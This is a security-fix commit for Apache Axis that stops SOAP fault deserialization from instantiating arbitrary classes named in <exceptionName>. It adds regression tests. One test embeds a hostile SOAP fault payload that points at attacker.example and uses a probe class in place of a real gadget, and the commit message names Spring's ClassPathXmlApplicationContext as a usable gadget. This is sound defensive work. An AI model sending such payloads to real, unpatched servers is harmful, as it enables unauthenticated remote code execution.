Prevent arbitrary class instantiation from SOAP fault exceptionName

An inbound SOAP <Fault> whose <detail> carries an <exceptionName> element
caused the fault deserializer to load the named class and invoke its
constructor with attacker-controlled data before any type check, running
the resulting ClassCastException into a silent catch. With a suitable
gadget on the classpath (e.g. Spring's ClassPathXmlApplicationContext,
the CVE-2023-46604 gadget) this is an unauthenticated remote
class-instantiation / RCE, reachable pre-authentication because the
engine force-parses the request body during service dispatch.

Harden the fault path:
- SOAPFaultDetailsBuilder.setValue loads the <exceptionName> class without
  initializing it (no static initializer runs) and only accepts it if it
  is an org.apache.axis.AxisFault subtype.
- SOAPFaultBuilder.createFault gates the reflective constructor branch on
  AxisFault assignability, so a non-fault class is never constructed.
- ClassUtils.forName now honors a non-initializing load; the existing
  three-arg overload previously ignored its init flag (all callers passed
  true, so behavior is unchanged for them).

Legitimate custom-fault deserialization (real AxisFault subtypes) still
works. Adds a regression test that fails against the vulnerable code.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
diff --git a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
index 35666db..dff520c 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
@@ -162,14 +162,21 @@
                         // We need to create the exception,
                         // passing the data to the constructor.
                         Class argClass = ConvertWrapper(faultData.getClass());
-                        try {
-                            Constructor con =
-                                    faultClass.getConstructor(
-                                            new Class[] { argClass });
-                            f = (AxisFault) con.newInstance(new Object[] { faultData });
-                        } catch(Exception e){
-                            // Don't do anything here, since a problem above means
-                            // we'll just fall through and use a plain AxisFault.
+                        // Only construct genuine AxisFault subtypes: the
+                        // constructor runs before the (AxisFault) cast below,
+                        // so reflectively constructing an arbitrary class here
+                        // would let an unauthenticated caller execute its
+                        // constructor with attacker-controlled data.
+                        if (AxisFault.class.isAssignableFrom(faultClass)) {
+                            try {
+                                Constructor con =
+                                        faultClass.getConstructor(
+                                                new Class[] { argClass });
+                                f = (AxisFault) con.newInstance(new Object[] { faultData });
+                            } catch(Exception e){
+                                // Don't do anything here, since a problem above means
+                                // we'll just fall through and use a plain AxisFault.
+                            }
                         }
                         if (f == null && faultData instanceof Exception) {
                             f = AxisFault.makeFault((Exception)faultData);    
diff --git a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
index ff8b56c..f564d95 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
@@ -28,6 +28,8 @@
 import org.apache.axis.soap.SOAPConstants;
 import org.apache.axis.utils.ClassUtils;
 import org.apache.axis.utils.Messages;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
 import org.xml.sax.Attributes;
 import org.xml.sax.SAXException;
 
@@ -42,6 +44,9 @@
  */
 public class SOAPFaultDetailsBuilder extends SOAPHandler implements Callback
 {
+    protected static Log log =
+            LogFactory.getLog(SOAPFaultDetailsBuilder.class.getName());
+
     protected SOAPFaultBuilder builder;
     
     public SOAPFaultDetailsBuilder(SOAPFaultBuilder builder) {
@@ -180,8 +185,19 @@
         } else if ("exceptionName".equals(hint)) {
             String faultClassName = (String) value;
             try {
-                Class faultClass = ClassUtils.forName(faultClassName);
-                builder.setFaultClass(faultClass);
+                // The class name here comes straight from the inbound message
+                // and is therefore untrusted. Load it without initializing it
+                // (so no static initializer runs) and only accept it if it is
+                // an AxisFault subtype. This prevents an unauthenticated caller
+                // from loading and instantiating arbitrary classpath classes
+                // via a <detail><exceptionName> element.
+                Class faultClass = ClassUtils.forName(faultClassName, false);
+                if (AxisFault.class.isAssignableFrom(faultClass)) {
+                    builder.setFaultClass(faultClass);
+                } else if (log.isDebugEnabled()) {
+                    log.debug("Ignoring fault exceptionName '" + faultClassName
+                            + "': not an org.apache.axis.AxisFault subtype");
+                }
             } catch (ClassNotFoundException e) {
                 // Just create an AxisFault, no custom exception
             }
diff --git a/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java b/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
index d0ae7c1..62e1301 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
@@ -58,7 +58,23 @@
      */
     public static Class forName(String className)
             throws ClassNotFoundException {
-        return loadClass(className);
+        return loadClass(className, true);
+    }
+
+    /**
+     * Use this method instead of Class.forName when the class should be
+     * located but not necessarily initialized. Passing <code>false</code>
+     * avoids running the named class's static initializer, which is
+     * important when the class name comes from untrusted input.
+     *
+     * @param className Class name
+     * @param initialize whether to initialize the class
+     * @return java class
+     * @throws ClassNotFoundException if the class is not found
+     */
+    public static Class forName(String className, boolean initialize)
+            throws ClassNotFoundException {
+        return loadClass(className, initialize);
     }
 
     /**
@@ -78,14 +94,15 @@
         // Create final vars for doPrivileged block
         final String className = _className;
         final ClassLoader loader = _loader;
+        final boolean initialize = init;
         try {
             // Get the class within a doPrivleged block
-            Object ret = 
+            Object ret =
                 AccessController.doPrivileged(
                     new PrivilegedAction() {
                         public Object run() {
                             try {
-                                return Class.forName(className, true, loader);
+                                return Class.forName(className, initialize, loader);
                             } catch (Throwable e) {
                                 return e;
                             }
@@ -100,7 +117,7 @@
                 throw new ClassNotFoundException(_className);
             }
         } catch (ClassNotFoundException cnfe) {
-            return loadClass(className);
+            return loadClass(className, init);
         }
     }
 
@@ -109,16 +126,18 @@
      * getDefaultClassLoader().forName
      *
      * @param _className Class name
+     * @param initialize whether to initialize the class
      * @return java class
      * @throws ClassNotFoundException if the class is not found
      */
-    private static Class loadClass(String _className)
+    private static Class loadClass(String _className, boolean initialize)
             throws ClassNotFoundException {
         // Create final vars for doPrivileged block
         final String className = _className;
+        final boolean init = initialize;
 
         // Get the class within a doPrivleged block
-        Object ret = 
+        Object ret =
             AccessController.doPrivileged(
                     new PrivilegedAction() {
                         public Object run() {
@@ -126,13 +145,13 @@
                                 // Try the context class loader
                                 ClassLoader classLoader =
                                     Thread.currentThread().getContextClassLoader();
-                                return Class.forName(className, true, classLoader);
+                                return Class.forName(className, init, classLoader);
                             } catch (ClassNotFoundException cnfe2) {
                                 try {
                                     // Try the classloader that loaded this class.
                                     ClassLoader classLoader =
                                         ClassUtils.class.getClassLoader();
-                                    return Class.forName(className, true, classLoader);
+                                    return Class.forName(className, init, classLoader);
                                 } catch (ClassNotFoundException cnfe3) {
                                     // Try the default class loader.
                                     try {
diff --git a/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java b/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java
new file mode 100644
index 0000000..1667733
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+/**
+ * A stand-in for a dangerous "gadget" class (e.g. Spring's
+ * ClassPathXmlApplicationContext) named by an inbound SOAP fault's
+ * &lt;exceptionName&gt; element. It records whether its static initializer
+ * runs (i.e. the class was loaded with initialization) and whether its
+ * String constructor is invoked. It is deliberately not an AxisFault, so a
+ * correctly hardened deserializer must never load-and-initialize or
+ * construct it. See {@link TestFaultClassInstantiation}.
+ */
+public class FaultGadgetProbe {
+    static {
+        FaultGadgetState.staticInitRan = true;
+    }
+
+    public FaultGadgetProbe(String url) {
+        FaultGadgetState.constructorRan = true;
+    }
+}
diff --git a/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java b/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java
new file mode 100644
index 0000000..6ac1359
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+/**
+ * Holder for the {@link FaultGadgetProbe} instrumentation flags. Kept in a
+ * separate class so that a test can inspect the flags without itself
+ * triggering initialization of {@link FaultGadgetProbe} (which would run the
+ * probe's static initializer and defeat the point of the check).
+ */
+public class FaultGadgetState {
+    public static volatile boolean staticInitRan = false;
+    public static volatile boolean constructorRan = false;
+
+    public static void reset() {
+        staticInitRan = false;
+        constructorRan = false;
+    }
+}
diff --git a/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java b/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java
new file mode 100644
index 0000000..251ecb4
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+import org.apache.axis.AxisFault;
+import org.apache.axis.Message;
+import org.apache.axis.MessageContext;
+import org.apache.axis.message.SOAPBodyElement;
+import org.apache.axis.message.SOAPEnvelope;
+import org.apache.axis.message.SOAPFault;
+import org.apache.axis.server.AxisServer;
+
+/**
+ * Security regression test: an inbound SOAP &lt;Fault&gt; whose
+ * &lt;detail&gt; carries an &lt;exceptionName&gt; naming an arbitrary
+ * (non-fault) class must not cause that class to be loaded-and-initialized
+ * or constructed. This is the shape of the unauthenticated
+ * class-instantiation / RCE reported against Axis 1.x's fault deserializer
+ * (analogous to CVE-2023-46604 in Apache ActiveMQ).
+ */
+public class TestFaultClassInstantiation extends TestCase {
+
+    public TestFaultClassInstantiation(String name) {
+        super(name);
+    }
+
+    public static Test suite() {
+        return new TestSuite(TestFaultClassInstantiation.class);
+    }
+
+    public void testExceptionNameDoesNotInstantiateArbitraryClass()
+            throws Exception {
+        FaultGadgetState.reset();
+
+        // Note: the class named in <exceptionName> is referenced only as a
+        // string here, so the JVM does not load it on our behalf; the only
+        // way it can be touched is via the fault deserialization path.
+        String gadget = "test.faults.FaultGadgetProbe";
+        String messageText =
+              "<soap:Envelope"
+            + " xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\""
+            + " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\""
+            + " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">"
+            + "  <soap:Body>"
+            + "    <soap:Fault>"
+            + "      <faultcode>x</faultcode>"
+            + "      <faultstring>x</faultstring>"
+            + "      <detail>"
+            + "        <data xsi:type=\"xsd:string\">http://attacker.example/payload</data>"
+            + "        <exceptionName>" + gadget + "</exceptionName>"
+            + "      </detail>"
+            + "    </soap:Fault>"
+            + "  </soap:Body>"
+            + "</soap:Envelope>";
+
+        AxisServer server = new AxisServer();
+        Message message = new Message(messageText);
+        message.setMessageContext(new MessageContext(server));
+
+        SOAPEnvelope envelope = (SOAPEnvelope) message.getSOAPEnvelope();
+        SOAPBodyElement respBody = envelope.getFirstBody();
+        assertTrue("respBody should be a SOAPFault",
+                   respBody instanceof SOAPFault);
+
+        // Force fault materialization (defensive; getFirstBody already parses).
+        AxisFault aFault = ((SOAPFault) respBody).getFault();
+
+        assertFalse("gadget constructor must not be invoked",
+                    FaultGadgetState.constructorRan);
+        assertFalse("gadget class must not be initialized (no static init)",
+                    FaultGadgetState.staticInitRan);
+
+        // The fault must still deserialize gracefully as a plain AxisFault.
+        assertNotNull("Fault should still be produced", aFault);
+    }
+
+    public void testLegitimateAxisFaultSubtypeStillDeserializes()
+            throws Exception {
+        // A genuine AxisFault subtype named via <exceptionName> must still
+        // work, so the hardening does not break the legitimate feature.
+        String faultClass = "org.apache.axis.AxisFault";
+        String messageText =
+              "<soap:Envelope"
+            + " xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">"
+            + "  <soap:Body>"
+            + "    <soap:Fault>"
+            + "      <faultcode>Some.Code</faultcode>"
+            + "      <faultstring>boom</faultstring>"
+            + "      <detail>"
+            + "        <exceptionName>" + faultClass + "</exceptionName>"
+            + "      </detail>"
+            + "    </soap:Fault>"
+            + "  </soap:Body>"
+            + "</soap:Envelope>";
+
+        AxisServer server = new AxisServer();
+        Message message = new Message(messageText);
+        message.setMessageContext(new MessageContext(server));
+
+        SOAPEnvelope envelope = (SOAPEnvelope) message.getSOAPEnvelope();
+        SOAPBodyElement respBody = envelope.getFirstBody();
+        AxisFault aFault = ((SOAPFault) respBody).getFault();
+
+        assertNotNull("Fault should be produced", aFault);
+        assertEquals("faultString should round-trip",
+                     "boom", aFault.getFaultString());
+    }
+}